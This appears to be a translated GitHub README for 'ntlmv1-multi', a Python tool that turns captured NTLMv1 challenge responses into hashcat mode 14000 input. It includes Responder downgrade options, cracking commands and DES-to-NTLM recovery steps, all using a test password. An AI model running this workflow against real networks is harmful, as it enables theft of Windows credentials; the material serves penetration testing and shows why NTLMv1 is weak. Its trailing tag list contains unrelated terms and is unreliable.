evilmog/ntlmv1-multi
GitHub: evilmog/ntlmv1-multi
将 NTLMv1/NTLMv1-ESS 哈希转换为 hashcat 模式 14000 可破解格式的 Python 预处理工具。
Stars: 659 | Forks: 101
# NTLMv1 Multi Tool
该工具将 NTLMv1 哈希还原为 NTLM,或者更具体地说,它将 NTLMv1 挑战响应格式化为可以使用 hashcat 模式 14000 进行破解的格式
# CT3 计算
如果你指定 `--ct3`,它会为你计算 NTLM 的最后 4 位数字;如果你指定 `--json`,则意味着启用了 `--ct3`,它会作为元素 pt3 返回,例如:
```
python3 ntlmv1.py --ntlm "DC1$::MOG:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:1122334455667788" --json
{"ntlmv1": "DC1$::MOG:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:1122334455667788", "user": "DC1$", "domain": "MOG", "challenge": "1122334455667788", "lmresp": "AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E", "ntresp": "AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E", "ct3": "352661ECEF909C5E", "ct3_crack": "ct3_to_ntlm.bin 352661ECEF909C5E 1122334455667788", "pt3": "8c71", "hash1": "AC51EC464A91A35A:1122334455667788", "hash2": "04A862DA3106EC2B:1122334455667788"}
```
最后在这次更新中,我将函数移到了 main() 中,以便你可以直接导入该模块使用
# 2020 年 11 月 10 日更新
我添加了 2 个新选项,`--hashcat` 和 `--hcutils`,它们分别设置你的 hashcat 和 hashcat-utils 的路径,这样你就可以直接从工具中复制和粘贴。
如果你的 hashcat 目录位于 ~/git/hashcat,并且你的 hashcat-utils 目录位于 ~/git/hashcat-utils,你可以像这样运行该工具:
```
python3 ./ntlmv1.py --ntlm "SERVER1$::MOG:9DE7F41D81C1207400000000000000000000000000000000:DE766A98B60D1C911DCFFFDBB3E521314B2CE34EAB63CC7B:1122334455667788" --hashcat "~/git/hashcat" --hcutils "~/git/hashcat-utils"
```
# 2019 年 12 月 10 日更新
是的,这应该是兼容 Python 3 的,我还合并了 ntlmv1 和 ntlmv1-ess
# ntlmv1-multi
NTLMv1 多功能工具
该工具修改 NTLMv1/NTLMv1-ESS/MSCHAPv2 哈希,以便在 hashcat 中使用 DES 模式 14000 进行破解
该工具基于 Hashcat 团队 atom 的工作 (注:原文此处为文本链接,根据上下文推断为URL)
它也基于 和
# 用法
## 不带 ESS 的 NTLMv1
要捕获哈希,请使用带有 --lm 标志的 responder,如果不使用 --lm,你将激活 ESS,这将需要更长的时间来破解,此外还有一个新标志 --disable-ess,它将尝试禁用 ESS 并强制降级。首先尝试 --disable-ess,如果失败,请尝试 --lm。如果使用 --disable-ess 或 --lm,请确保你的客户端挑战是 1122334455667788 以便使用 FPGA,然而如果网络 IDS/IPS 检测到该流量,可能会触发防护。
捕获看起来像这样。
```
[SMB] NTLMv1 Client : 184.64.60.62
[SMB] NTLMv1 Username : DUSTIN-5AA37877\hashcat
[SMB] NTLMv1 Hash : hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
[*] Skipping previously captured hash for DUSTIN-5AA37877\hashcat
```
哈希部分看起来像这样
```
hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
```
所以像这样使用多功能工具(它也兼容 Python 2)
```
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
```
它将输出以下数据,而不修改服务器挑战等
```
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
```
本例中使用的密码是 "password",我们可以用以下命令验证 NTLM 哈希
```
echo -n password | iconv -f utf8 -t utf16le | openssl dgst -md4
(stdin)= 8846f7eaee8fb117ad06bdd830b7586c
```
使用 atom 编写的 hashcat utils ct3_to_ntlm.bin,你可以从 NTLMv1 挑战中计算 NTLM 哈希的最后 4 个字符,该工具会输出它
```
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
586c
```
这与 NTLM 哈希的末尾匹配,我们可以开始了,下一步是使用 hashcat 破解哈希,所以我们需要创建一个 hashes.txt 文件,内容为
```
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
```
要使用 hashcat 破解它,你使用
```
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
```
重要的一点是,hashcat 将返回 DES 密钥而不是 NTLM 密钥,你需要使用 [Hashcat Utils](https://github.com/hashcat/hashcat-utils/releases/) 中的 `deskey_to_ntlm.pl` 转换为 NTLM,这可以通过以下方式完成
```
./deskey_to_ntlm.pl [cracked des key 1]
./deskey_to_ntlm.pl [cracked des key 2]
```
然后你将两个 NTLM 密钥与密码的第三部分结合。由(工具输出的任何内容)计算得出
```
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
```
将这 3 部分加在一起就可以了
### 使用 DES 转换器进行测试
如果你只是测试我的代码并且已经知道密码,你可以使用 DES 转换器
```
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d
echo "$HEX[b55d6d04e67926]">>des.cand
echo "$HEX[bcba83e6895b9d]">>des.cand
```
基本上你执行以下操作
```
echo "$HEX[b55d6d04e67926]">>des.cand
echo "$HEX[bcba83e6895b9d]">>des.cand
```
```
./hashcat -m 14000 -a 0 hashes.txt des.cand
```
你应该会得到一些还原的哈希
## 带 ESS 的 NTLMv1
ESS 会改变服务器挑战,如果你在 responder 中看到 ESS,因为你没有使用 --lm 或者客户端设置为不提供 LM 响应,那么 ESS 就会被启用。此外 --disable-ess 将尝试强制关闭 ESS,但这需要 impacket 和 responder 的最新副本(2021 年 8 月或更新)。
ESS 输出看起来像这样
```
[SMB] NTLMv1-SSP Client : 184.64.60.62
[SMB] NTLMv1-SSP Username : DUSTIN-5AA37877\hashcat
[SMB] NTLMv1-SSP Hash : hashcat::DUSTIN-5AA37877:85D5BC2CE95161CD00000000000000000000000000000000:892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788
```
实际的哈希看起来像这样
```
hashcat::DUSTIN-5AA37877:85D5BC2CE95161CD00000000000000000000000000000000:892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788
```
要使用该工具,运行(它兼容 Python 3)
```
python3 ntlmv1.py --ntlmv1 "hashcat::DUSTIN-5AA37877:85D5BC2CE95161CD00000000000000000000000000000000:892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788"
```
该工具将输出
```
Hashfield Split:
['hashcat', '', 'DUSTIN-5AA37877', '85D5BC2CE95161CD00000000000000000000000000000000', '892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
LM Response: 85D5BC2CE95161CD00000000000000000000000000000000
NT Response: 892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0
Client Challenge: 1122334455667788
SRV Challenge: b36d2b9a8607ea77
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin 2BBD6C9ABCD021D0 1122334455667788 85D5BC2CE95161CD00000000000000000000000000000000
To crack with hashcat create a file with the following contents:
892F905962F76D32:b36d2b9a8607ea77
3837F613F88DE27C:b36d2b9a8607ea77
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
```
现在我们在本例中使用的密码是 password,其 NTLM 哈希为 ```b4b9b02e6f09a9bd760f388b67351e2b```
```
echo -n password | iconv -f utf8 -t utf16le | openssl dgst -md4
(stdin)= 8846f7eaee8fb117ad06bdd830b7586c
```
因此,为了计算我们的 NTLMv1-ESS 挑战的 NTLM 哈希的最后 4 个字符,我们使用工具输出的以下命令来获取 ```586c```
```
./ct3_to_ntlm.bin 2BBD6C9ABCD021D0 1122334455667788 85D5BC2CE95161CD00000000000000000000000000000000
```
我们必须根据工具创建一个包含以下内容的哈希文件,该文件包含修改后的 SRV Challenges 以处理 ESS
```
892F905962F76D32:b36d2b9a8607ea77
3837F613F88DE27C:b36d2b9a8607ea77
```
要使用 hashcat 破解,我们根据工具使用以下命令
```
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
```
重要的一点是,hashcat 将返回 DES 密钥而不是 NTLM 密钥,你需要使用 [Hashcat Utils](https://github.com/hashcat/hashcat-utils/releases/) 中的 `deskey_to_ntlm.pl` 转换为 NTLM,这可以通过以下方式完成
```
./deskey_to_ntlm.pl [cracked des key 1]
./deskey_to_ntlm.pl [cracked des key 2]
```
现在假设在这种情况下我们已经知道 NTLM 哈希是什么,因为是我们创建的,并且想要验证工具,我们使用以下命令
```
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
```
这将为我们输出一些数据
```
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d
echo "$HEX[b55d6d04e67926]">>des.cand
echo "$HEX[bcba83e6895b9d]">>des.cand
```
这里的重要部分是
```
echo "$HEX[b55d6d04e67926]">>des.cand
echo "$HEX[bcba83e6895b9d]">>des.cand
```
现在我们可以使用以下命令通过 hashcat 进行破解,而无需等待 8 天
```
./hashcat -m 14000 -a 0 hashes.txt des.cand
```
## 用于数据验证测试的 NTLM 哈希到 DES 密钥转换器
```
python ntlm-to-des.py --ntlm 8846f7eaee8fb117ad06bdd830b7586c
```
```
DESKEY1: b55d6d05e6792652
DESKEY2: bdba82e6895a9d6a
echo "$HEX[b55d6d05e6792652]">>des.cand
echo "$HEX[bdba82e6895a9d6a]">>des.cand
```
## JSON 支持
该工具现在支持 JSON 输出,设置标志 `--json`,它将输出 JSON 格式:
```
python3 ntlmv1.py --ntlmv1 "SERVER1$::MOG:7EF3F506F5EA510E00000000000000000000000000000000:1217169BD7BE0270A033899BD440016D3E6DACAF5894D504:ff81dfd6b12c269d" --json
{"ntlmv1": "SERVER1$::MOG:7EF3F506F5EA510E00000000000000000000000000000000:1217169BD7BE0270A033899BD440016D3E6DACAF5894D504:ff81dfd6b12c269d", "user": "SERVER1$", "domain": "MOG", "challenge": "ff81dfd6b12c269d", "lmresp": "7EF3F506F5EA510E00000000000000000000000000000000", "ntresp": "1217169BD7BE0270A033899BD440016D3E6DACAF5894D504", "ct3": "3E6DACAF5894D504", "srvchallenge": "888f8ee0fa031808", "ct3_crack": "ct3_to_ntlm.bin 3E6DACAF5894D504 ff81dfd6b12c269d 7EF3F506F5EA510E00000000000000000000000000000000", "hash1": "1217169BD7BE0270:888f8ee0fa031808", "hash2": "A033899BD440016D:888f8ee0fa031808", "CRACK_SH": "$NETLM$888f8ee0fa031808$1217169BD7BE0270A033899BD440016D3E6DACAF5894D504"}
```
重要字段包括:
* hash1 - 这是 hashcat 模式 14000 的第一个哈希
* hash2 - 这是 hashcat 模式 14000 的第二个哈希
* ct3_crack - 这是使用 hashcat utils 破解 ct3 的命令
* ntlmv1 - 这是原始的 ntlmv1 哈希
* user - 这是用户字段
* domain - 这是域字段
* lmresp - 这是 LM 响应
* ntresp - 这是 NT 响应
* challenge - 这是原始挑战字段
* srvchallenge - 如果这是 ESS 哈希,则会填充 srv challenge
# 致谢 / 许可证
该仓库基于 hashcat 作者 atom 的论坛帖子以及 moxie marlinspike 的研究。由于 atom 的代码主要采用 MIT 许可,该项目也采用了该许可证以保持兼容。该项目不是 GPL,因此任何实体都可以将其无限制地整合到商业项目中。
标签:Bitdefender, Conpot, DES加密, DOS头擦除, Hashcat, MSCHAPv2, NTLMv1, Python, VEH, Windows安全, 凭据转储, 动态分析, 协议分析, 字典攻击, 安全测试工具, 密码破解, 无后门, 权限提升, 模拟器, 离线破解, 网络安全, 隐私保护